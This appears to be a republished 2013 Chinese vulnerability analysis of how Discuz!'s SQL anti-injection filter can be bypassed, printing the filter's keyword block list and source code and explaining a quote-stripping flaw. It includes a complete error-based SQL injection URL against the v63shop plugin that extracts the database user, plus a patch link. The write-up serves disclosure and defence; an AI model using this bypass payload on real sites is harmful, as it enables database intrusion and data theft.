Discuz防注入函数绕过方法分析

安全 数据安全
DIscuz v63积分插件被爆注入漏洞,某互联网公司公布了一个的绕过discuz防注入函数的“方法”,事实上文章中说的“/*”会被discuz拦截。并没有绕过,SafeKey Team分析了某互联网公司披露的discuz v63积分商城插件注入漏洞,发现discuz本身的防注入机制可以被绕过,且无限制。

分析人:晴天小铸,Seay

分析时间:2013年03月20日

discuz介绍:

Crossday Discuz! Board(以下简称 Discuz!,中国国家版权局著作权登记号 2006SR11895)是康盛创想(北京)科技有限公司(英文简称Comsenz)推出的一套通用的社区论坛软件系统,用户可以在不需要任何编程的基础上,通过简单的设置和安装,在互联网上搭建起具备完善功能、很强负载能力和可高度定制的论坛服务。Discuz! 的基础架构采用世界上最流行的 web 编程组合 PHP+MySQL 实现,是一个经过完善设计,适用于各种服务器环境的高效论坛系统解决方案。

DIscuz v63积分插件被爆注入漏洞,某互联网公司公布了一个的绕过discuz防注入函数的“方法”,链接http://bbs.webscan.360.cn/forum.php?mod=viewthread&tid=5373。事实上文章中说的“/*”会被discuz拦截。并没有绕过,SafeKey Team分析了某互联网公司披露的discuz v63积分商城插件注入漏洞,发现discuz本身的防注入机制可以被绕过,且无限制。

Discuz防注入分析如下:

先看防注入配置: 

  1. $_config['security']['querysafe']['status'] = 1;             // 是否开启SQL安全检测,可自动预防SQL注入攻击  
  2. $_config['security']['querysafe']['dfunction'] = array('load_file','hex','substring','if','ord','char');  
  3. $_config['security']['querysafe']['daction'] = array('intooutfile','intodumpfile','unionselect','(select''unionall''uniondistinct');  
  4. $_config['security']['querysafe']['dnote'] = array('/*','*/','#','--','"');  
  5. $_config['security']['querysafe']['dlikehex'] = 1;  
  6. $_config['security']['querysafe']['afullnote'] = 0; 

Discuz 执行SQL语句之前会调用{\source\class\discuz\discuz_database.php} 文件discuz_database_safecheck类下面的checkquery($sql)函数进行过滤。但是过滤并不严谨,我们发现可以绕过改防注入函数。 

  1. public static function checkquery($sql) {  
  2.         if (self::$config === null) {  
  3.             self::$config = getglobal('config/security/querysafe');  
  4.         }  
  5.         if (self::$config['status']) {  
  6.             $cmd = trim(strtoupper(substr($sql, 0, strpos($sql, ' '))));  
  7.             if (in_array($cmd, self::$checkcmd)) {  
  8.                 $test = self::_do_query_safe($sql);  
  9.                 if ($test < 1) {  
  10.                     throw new DbException('It is not safe to do this query', 0, $sql);  
  11.                 }  
  12.             }  
  13.         }  
  14.         return true;  
  15.     } 

上面的if (self::$config['status']) {判断有木有开启防注入。最终会self::_do_query_safe($sql);

调用 _do_query_safe()函数。跟进该函数,在同文件的363行。

  1. private static function _do_query_safe($sql) {  
  2. $sql = str_replace(array('\\\\', '\\\'', '\\"', '\'\''), '', $sql);  
  3. $mark = $clean = '';  
  4.  
  5. if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) {  
  6.     $clean = preg_replace("/'(.+?)'/s", '', $sql);  
  7. } else {  
  8.  
  9.     $len = strlen($sql);  
  10.     $mark = $clean = '';  
  11.     for ($i = 0; $i < $len; $i++) {  
  12.         $str = $sql[$i];  
  13.         switch ($str) {  
  14.             case '\'':  
  15.                 if (!$mark) {  
  16.                     $mark = '\'';  
  17.                     $clean .= $str;  
  18.                 } elseif ($mark == '\'') {  
  19.                     $mark = '';  
  20.                 }  
  21.                 break;  
  22.             case '/':  
  23.                 if (empty($mark) && $sql[$i + 1] == '*') {  
  24.                     $mark = '/*';  
  25.                     $clean .= $mark;  
  26.                     $i++;  
  27.                 } elseif ($mark == '/*' && $sql[$i - 1] == '*') {  
  28.                     $mark = '';  
  29.                     $clean .'*';  
  30.                 }  
  31.                 break;  
  32.             case '#':  
  33.                 if (empty($mark)) {  
  34.                     $mark = $str;  
  35.                     $clean .= $str;  
  36.                 }  
  37.                 break;  
  38.             case "\n":  
  39.                 if ($mark == '#' || $mark == '--') {  
  40.                     $mark = '';  
  41.                 }  
  42.                 break;  
  43.             case '-':  
  44.                 if (empty($mark) && substr($sql, $i, 3) == '-- ') {  
  45.                     $mark = '-- ';  
  46.                     $clean .= $mark;  
  47.                 }  
  48.                 break;  
  49.  
  50.             default:  
  51.  
  52.                 break;  
  53.         }  
  54.         $clean .= $mark ? '' : $str;  
  55.     }  
  56. }  
  57.  
  58. $clean = preg_replace("/[^a-z0-9_\-\(\)#\*\/\"]+/is", "", strtolower($clean));  
  59.  
  60. if (self::$config['afullnote']) {  
  61.     $clean = str_replace('/**/', '', $clean);  
  62. }  
  63.  
  64. if (is_array(self::$config['dfunction'])) {  
  65.     foreach (self::$config['dfunction'] as $fun) {  
  66.         if (strpos($clean, $fun . '(') !== false)  
  67.             return '-1';  
  68.     }  
  69. }  
  70.  
  71. if (is_array(self::$config['daction'])) {  
  72.     foreach (self::$config['daction'] as $action) {  
  73.         if (strpos($clean, $action) !== false)  
  74.             return '-3';  
  75.     }  
  76. }  
  77.  
  78. if (self::$config['dlikehex'] && strpos($clean, 'like0x')) {  
  79.     return '-2';  
  80. }  
  81.  
  82. if (is_array(self::$config['dnote'])) {  
  83.     foreach (self::$config['dnote'] as $note) {  
  84.         if (strpos($clean, $note) !== false)  
  85.             return '-4';  
  86.     }  
  87. }  
  88.  
  89. return 1;  

 该防注入函数的关键绕过代码在:

  1. if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) {  
  2.             $clean = preg_replace("/'(.+?)'/s", '', $sql);  
  3. }  
  4. else  

在discuz v63积分商城插件注入漏洞exp中并不需要斜杠、#号和—注释符。所以会执行$clean = preg_replace(“/’(.+?)’/s”, ”, $sql);原来SQL语句中两个单引号中间的内容就会被替换为空。并不会进入到下面的else分支。Else下面的所有操作均是对$clean变量的操作。所以绕过的思路就是把SQL语句放在两个单引号中间。对于mysql的一个特性,

@`’` 是为空的,所以我们的攻击语句可以放到两个@`’`中间,即使GPC开启,单引号被转义为\’,而@`’`变成@`\’`对注入也是没有影响的,所以此绕过方法无限制。

即针对该注入漏洞的攻击EXP为:

  1. http://www.cnseay.com/discuz/plugin.php?id=v63shop:goods&pac=info&gid=110 or @`’` and (select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b) or @`’`  or @`’` and (select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b) or @`’` 

调试输出SQL语句:

Discuz防注入函数绕过方法分析及没用心的修复补丁

可以看到我们的注入语句被替换掉了,所以后面的检查字符的时候并没有发现注入语句。

最终成功利用:

Discuz防注入函数绕过方法分析及没用心的修复补丁

 官网补丁:http://www.discuz.net/forum.php?mod=viewthread&tid=3234536

责任编辑:蓝雨泪 来源: FreebuF
相关推荐

2010-09-14 19:50:55

2013-01-11 16:23:29

2017-05-05 11:31:34

2013-04-26 11:39:40

2017-09-07 15:39:27

2009-08-31 14:44:30

2015-09-28 09:56:14

2023-08-31 07:55:21

Android系统压缩处理

2019-02-19 08:45:41

2017-05-08 08:32:51

2020-12-31 10:14:42

防注入代码绕过

2011-09-06 16:56:43

2013-05-13 11:25:02

WAFWeb应用防火墙WAF绕过

2022-08-05 16:47:15

网络安全SQL注入

2013-04-19 13:20:14

2010-09-30 09:11:01

2009-07-10 11:07:00

WebWork注入Servlet方法

2012-11-15 13:37:32

dedecms注入脚本攻防

2018-03-10 07:39:06

2023-12-13 12:46:49

数据分析指标算法
点赞
收藏

51CTO技术栈公众号